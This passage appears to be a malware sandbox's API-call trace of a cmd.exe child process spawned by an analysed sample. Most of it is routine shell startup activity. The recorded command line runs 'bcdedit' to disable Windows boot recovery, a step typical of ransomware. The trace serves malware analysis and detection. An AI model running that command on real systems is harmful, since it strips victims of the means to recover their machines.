dwProcessId=0x1d80, dwThreadId=0x1d84)) returned 1
	[0197.395] CloseHandle (hObject=0x50) returned 1
	[0197.395] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1
	[0197.395] GetProcessHeap () returned 0x190000
	[0197.395] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1aac50 | out: hHeap=0x190000) returned 1
	[0197.395] GetEnvironmentStringsW () returned 0x1aac50*
	[0197.396] GetProcessHeap () returned 0x190000
	[0197.396] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x8, Size=0xae8) returned 0x1a8a60
	[0197.396] FreeEnvironmentStringsW (penv=0x1aac50) returned 1
	[0197.396] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) 

Process:
	id = "50"
	image_name = "cmd.exe"
	filename = "c:\\windows\\system32\\cmd.exe"
	page_root = "0x2799b000"
	os_pid = "0x1694"
	os_integrity_level = "0x3000"
	os_privileges = "0x60800000"
	monitor_reason = "child_process"
	parent_id = "1"
	os_parent_pid = "0xb98"
	cmd_line = "cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\"
	os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz"
	bitness = "32"
	os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]


Thread:
	id = 1064
	os_tid = 0x1698

	[0195.367] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12fe30 | out: lpSystemTimeAsFileTime=0x12fe30*(dwLowDateTime=0x4494add0, dwHighDateTime=0x1d5cdef)) 
	[0195.367] GetCurrentProcessId () returned 0x1694
	[0195.367] GetCurrentThreadId () returned 0x1698
	[0195.367] GetTickCount () returned 0x117670d
	[0195.368] QueryPerformanceCounter (in: lpPerformanceCount=0x12fe38 | out: lpPerformanceCount=0x12fe38*=33712053133) returned 1
	[0195.370] GetModuleHandleW (lpModuleName=0x0) returned 0x4a010000
	[0195.370] __set_app_type (_Type=0x1) 
	[0195.371] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a037810) returned 0x0
	[0195.371] __getmainargs (in: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610, _DoWildCard=0, _StartInfo=0x4a03e0f4 | out: _Argc=0x4a05a608, _Argv=0x4a05a618, _Env=0x4a05a610) returned 0
	[0195.372] GetCurrentThreadId () returned 0x1698
	[0195.372] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x1698) returned 0x3c
	[0195.372] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0195.372] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40
	[0195.373] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409
	[0195.945] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1
	[0195.945] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fdc8 | out: phkResult=0x12fdc8*=0x0) returned 0x2
	[0195.946] VirtualQuery (in: lpAddress=0x12fdb0, lpBuffer=0x12fd30, dwLength=0x30 | out: lpBuffer=0x12fd30*(BaseAddress=0x12f000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.946] VirtualQuery (in: lpAddress=0x30000, lpBuffer=0x12fd30, dwLength=0x30 | out: lpBuffer=0x12fd30*(BaseAddress=0x30000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.946] VirtualQuery (in: lpAddress=0x31000, lpBuffer=0x12fd30, dwLength=0x30 | out: lpBuffer=0x12fd30*(BaseAddress=0x31000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.946] VirtualQuery (in: lpAddress=0x34000, lpBuffer=0x12fd30, dwLength=0x30 | out: lpBuffer=0x12fd30*(BaseAddress=0x34000, AllocationBase=0x30000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0195.946] VirtualQuery (in: lpAddress=0x130000, lpBuffer=0x12fd30, dwLength=0x30 | out: lpBuffer=0x12fd30*(BaseAddress=0x130000, AllocationBase=0x130000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x4000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30
	[0195.946] GetConsoleOutputCP () returned 0x1b5
	[0195.947] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0195.963] SetConsoleCtrlHandler (HandlerRoutine=0x4a033184, Add=1) returned 1
	[0195.964] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.964] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1
	[0195.965] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.965] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a03e194 | out: lpMode=0x4a03e194) returned 1
	[0195.966] _get_osfhandle (_FileHandle=1) returned 0x7
	[0195.966] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1
	[0195.967] _get_osfhandle (_FileHandle=0) returned 0x3
	[0195.967] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a03e198 | out: lpMode=0x4a03e198) returned 1
	[0195.968] _get_osfhandle (_FileHandle=0) returned 0x3
	[0195.968] SetConsoleMode (hConsoleHandle=0x3, dwMode=0x1a7) returned 1
	[0195.969] GetEnvironmentStringsW () returned 0x348b00*
	[0195.969] GetProcessHeap () returned 0x330000
	[0195.969] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa7c) returned 0x349590
	[0195.970] FreeEnvironmentStringsW (penv=0x348b00) returned 1
	[0195.970] GetProcessHeap () returned 0x330000
	[0195.970] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x8) returned 0x348980
	[0195.970] GetEnvironmentStringsW () returned 0x348b00*
	[0195.970] GetProcessHeap () returned 0x330000
	[0195.971] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa7c) returned 0x34a020
	[0195.971] FreeEnvironmentStringsW (penv=0x348b00) returned 1
	[0195.971] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12ec88 | out: phkResult=0x12ec88*=0x44) returned 0x0
	[0195.971] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x0, lpData=0x12eca0*=0x18, lpcbData=0x12ec84*=0x1000) returned 0x2
	[0195.971] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x4, lpData=0x12eca0*=0x1, lpcbData=0x12ec84*=0x4) returned 0x0
	[0195.971] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x0, lpData=0x12eca0*=0x1, lpcbData=0x12ec84*=0x1000) returned 0x2
	[0195.972] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x4, lpData=0x12eca0*=0x0, lpcbData=0x12ec84*=0x4) returned 0x0
	[0195.972] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x4, lpData=0x12eca0*=0x40, lpcbData=0x12ec84*=0x4) returned 0x0
	[0195.974] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x4, lpData=0x12eca0*=0x40, lpcbData=0x12ec84*=0x4) returned 0x0
	[0195.974] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x0, lpData=0x12eca0*=0x40, lpcbData=0x12ec84*=0x1000) returned 0x2
	[0195.974] RegCloseKey (hKey=0x44) returned 0x0
	[0195.974] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x12ec88 | out: phkResult=0x12ec88*=0x44) returned 0x0
	[0195.975] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x0, lpData=0x12eca0*=0x40, lpcbData=0x12ec84*=0x1000) returned 0x2
	[0195.975] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x4, lpData=0x12eca0*=0x1, lpcbData=0x12ec84*=0x4) returned 0x0
	[0195.975] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x0, lpData=0x12eca0*=0x1, lpcbData=0x12ec84*=0x1000) returned 0x2
	[0195.975] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x4, lpData=0x12eca0*=0x0, lpcbData=0x12ec84*=0x4) returned 0x0
	[0195.975] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x4, lpData=0x12eca0*=0x9, lpcbData=0x12ec84*=0x4) returned 0x0
	[0195.975] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x4, lpData=0x12eca0*=0x9, lpcbData=0x12ec84*=0x4) returned 0x0
	[0195.975] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x12ec80, lpData=0x12eca0, lpcbData=0x12ec84*=0x1000 | out: lpType=0x12ec80*=0x0, lpData=0x12eca0*=0x9, lpcbData=0x12ec84*=0x1000) returned 0x2
	[0195.975] RegCloseKey (hKey=0x44) returned 0x0
	[0195.976] time (in: timer=0x0 | out: timer=0x0) returned 0x5e22e699
	[0195.976] srand (_Seed=0x5e22e699) 
	[0195.976] GetCommandLineW () returned="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	[0195.976] GetCommandLineW () returned="cmd /c \"bcdedit /set {default} recoveryenabled No & bcdedit /set {default}\""
	[0195.976] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0195.977] GetProcessHeap () returned 0x330000
	[0195.977] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x218) returned 0x34aab0
	[0195.977] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34aac0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b
	[0195.977] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63
	[0195.977] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35
	[0195.977] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0195.978] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13
	[0195.978] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11
	[0195.978] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13
	[0195.978] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13
	[0195.978] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12
	[0195.978] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4
	[0195.978] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2
	[0195.978] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8
	[0195.978] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1
	[0195.978] GetProcessHeap () returned 0x330000
	[0195.979] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x349590 | out: hHeap=0x330000) returned 1
	[0195.979] GetEnvironmentStringsW () returned 0x348b00*
	[0195.979] GetProcessHeap () returned 0x330000
	[0195.979] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xa94) returned 0x34b770
	[0195.979] FreeEnvironmentStringsW (penv=0x348b00) returned 1
	[0195.979] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0195.979] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a03f360, nSize=0x2000 | out: lpBuffer="") returned 0x0
	[0195.979] _wcsicmp (_String1="KEYS", _String2="CD") returned 8
	[0195.979] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6
	[0195.980] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8
	[0195.980] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8
	[0195.980] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7
	[0195.980] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0195.980] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0195.980] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0195.980] GetProcessHeap () returned 0x330000
	[0195.980] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x5c) returned 0x331320
	[0195.980] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x12fa90 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0195.981] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x12fa90, lpFilePart=0x12fa70 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x12fa70*="Desktop") returned 0x25
	[0195.981] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0195.981] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x12f7a0 | out: lpFindFileData=0x12f7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc0000dc, cFileName="Users", cAlternateFileName="")) returned 0x331390
	[0195.982] FindClose (in: hFindFile=0x331390 | out: hFindFile=0x331390) returned 1
	[0195.982] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x12f7a0 | out: lpFindFileData=0x12f7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc0000dc, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x331390
	[0196.686] FindClose (in: hFindFile=0x331390 | out: hFindFile=0x331390) returned 1
	[0196.686] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20
	[0196.686] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x12f7a0 | out: lpFindFileData=0x12f7a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa9fd370, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0xa9fd370, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdc0000dc, cFileName="Desktop", cAlternateFileName="")) returned 0x331390
	[0196.687] FindClose (in: hFindFile=0x331390 | out: hFindFile=0x331390) returned 1
	[0196.687] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11
	[0196.687] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1
	[0196.687] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1
	[0196.687] GetProcessHeap () returned 0x330000
	[0196.687] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34b770 | out: hHeap=0x330000) returned 1
	[0196.687] GetEnvironmentStringsW () returned 0x348b00*
	[0196.687] GetProcessHeap () returned 0x330000
	[0196.687] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xae8) returned 0x34acd0
	[0196.688] FreeEnvironmentStringsW (penv=0x348b00) returned 1
	[0196.688] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a04c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25
	[0196.688] GetProcessHeap () returned 0x330000
	[0196.688] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x331320 | out: hHeap=0x330000) returned 1
	[0196.688] GetProcessHeap () returned 0x330000
	[0196.688] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4016) returned 0x34cd00
	[0196.689] GetProcessHeap () returned 0x330000
	[0196.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x9e) returned 0x34b7c0
	[0196.689] GetProcessHeap () returned 0x330000
	[0196.689] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4010) returned 0x350d20
	[0196.690] GetProcessHeap () returned 0x330000
	[0196.690] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4010) returned 0x354d40
	[0196.692] GetProcessHeap () returned 0x330000
	[0196.692] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00 | out: hHeap=0x330000) returned 1
	[0196.692] GetConsoleOutputCP () returned 0x1b5
	[0196.692] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a04bfe0 | out: lpCPInfo=0x4a04bfe0) returned 1
	[0196.693] GetUserDefaultLCID () returned 0x409
	[0196.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a047b50, cchData=8 | out: lpLCData=":") returned 2
	[0196.694] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x12fba0, cchData=128 | out: lpLCData="0") returned 2
	[0196.695] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x12fba0, cchData=128 | out: lpLCData="0") returned 2
	[0196.695] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x12fba0, cchData=128 | out: lpLCData="1") returned 2
	[0196.695] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a05a740, cchData=8 | out: lpLCData="/") returned 2
	[0196.695] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a05a4a0, cchData=32 | out: lpLCData="Mon") returned 4
	[0196.696] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a05a460, cchData=32 | out: lpLCData="Tue") returned 4
	[0196.696] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a05a420, cchData=32 | out: lpLCData="Wed") returned 4
	[0196.696] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a05a3e0, cchData=32 | out: lpLCData="Thu") returned 4
	[0196.696] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a05a3a0, cchData=32 | out: lpLCData="Fri") returned 4
	[0196.696] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a05a360, cchData=32 | out: lpLCData="Sat") returned 4
	[0196.696] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a05a700, cchData=32 | out: lpLCData="Sun") returned 4
	[0196.696] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a047b40, cchData=8 | out: lpLCData=".") returned 2
	[0196.696] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a05a4e0, cchData=8 | out: lpLCData=",") returned 2
	[0196.696] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0196.698] GetProcessHeap () returned 0x330000
	[0196.698] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x20c) returned 0x34b8e0
	[0196.698] GetConsoleTitleW (in: lpConsoleTitle=0x34b8e0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0196.699] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000
	[0196.699] GetProcAddress (hModule=0x76f20000, lpProcName="CopyFileExW") returned 0x76f323d0
	[0196.699] GetProcAddress (hModule=0x76f20000, lpProcName="IsDebuggerPresent") returned 0x76f28290
	[0196.699] GetProcAddress (hModule=0x76f20000, lpProcName="SetConsoleInputExeNameW") returned 0x76f317e0
	[0196.700] GetProcessHeap () returned 0x330000
	[0196.700] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x4012) returned 0x34cd00
	[0196.700] GetProcessHeap () returned 0x330000
	[0196.700] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x34cd00 | out: hHeap=0x330000) returned 1
	[0196.702] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0196.702] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0196.702] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0196.702] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0196.702] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0196.702] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0196.702] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0196.702] GetProcessHeap () returned 0x330000
	[0196.702] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34bb00
	[0196.702] GetProcessHeap () returned 0x330000
	[0196.703] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x344620
	[0196.705] GetProcessHeap () returned 0x330000
	[0196.705] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x58) returned 0x34bbc0
	[0196.707] GetProcessHeap () returned 0x330000
	[0196.707] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34bc20
	[0196.709] _wcsicmp (_String1="bcdedit", _String2=")") returned 57
	[0196.709] _wcsicmp (_String1="FOR", _String2="bcdedit") returned 4
	[0196.709] _wcsicmp (_String1="FOR/?", _String2="bcdedit") returned 4
	[0196.709] _wcsicmp (_String1="IF", _String2="bcdedit") returned 7
	[0196.709] _wcsicmp (_String1="IF/?", _String2="bcdedit") returned 7
	[0196.709] _wcsicmp (_String1="REM", _String2="bcdedit") returned 16
	[0196.709] _wcsicmp (_String1="REM/?", _String2="bcdedit") returned 16
	[0196.710] GetProcessHeap () returned 0x330000
	[0196.710] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0xb0) returned 0x34bce0
	[0196.710] GetProcessHeap () returned 0x330000
	[0196.710] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x20) returned 0x344650
	[0196.711] GetProcessHeap () returned 0x330000
	[0196.711] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x8, Size=0x30) returned 0x346560
	[0196.713] GetConsoleTitleW (in: lpConsoleTitle=0x12f9f0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b
	[0196.715] _wcsicmp (_String1="bcdedit", _String2="DIR") returned -2
	[0196.715] _wcsicmp (_String1="bcdedit", _String2="ERASE") returned -3
	[0196.715] _wcsicmp (_String1="bcdedit", _String2="DEL") returned -2
	[0196.715] _wcsicmp (_String1="bcdedit", _String2="TYPE") returned -18
	[0196.715] _wcsicmp (_String1="bcdedit", _String2="COPY") returned -1
	[0196.715] _wcsicmp (_String1="bcdedit", _String2="CD") returned -1
	[0196.715] _wcsicmp (_String1="bcdedit", _String2="CHDIR") returned -1
	[0196.715] _wcsicmp (_String1="bcdedit", _String2="RENAME") returned -16
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="REN") returned -16
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="ECHO") returned -3
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="SET") returned -17
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="PAUSE") returned -14
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="DATE") returned -2
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="TIME") returned -18
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="PROMPT") returned -14
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="MD") returned -11
	[0196.716] _wcsicmp (_String1="bcdedit", _String2="MKDIR") returned -11
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="RD") returned -16
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="RMDIR") returned -16
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="PATH") returned -14
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="GOTO") returned -5
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="SHIFT") returned -17
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="CLS") returned -1
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="CALL") returned -1
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="VERIFY") returned -20
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="VER") returned -20
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="VOL") returned -20
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="EXIT") returned -3
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="SETLOCAL") returned -17
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="ENDLOCAL") returned -3
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="TITLE") returned -18
	[0196.717] _wcsicmp (_String1="bcdedit", _String2="START") returned -17
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="DPATH") returned -2
	[0196.718] _wcsicmp (_String1="bcdedit", _String2="KEYS") returned -9
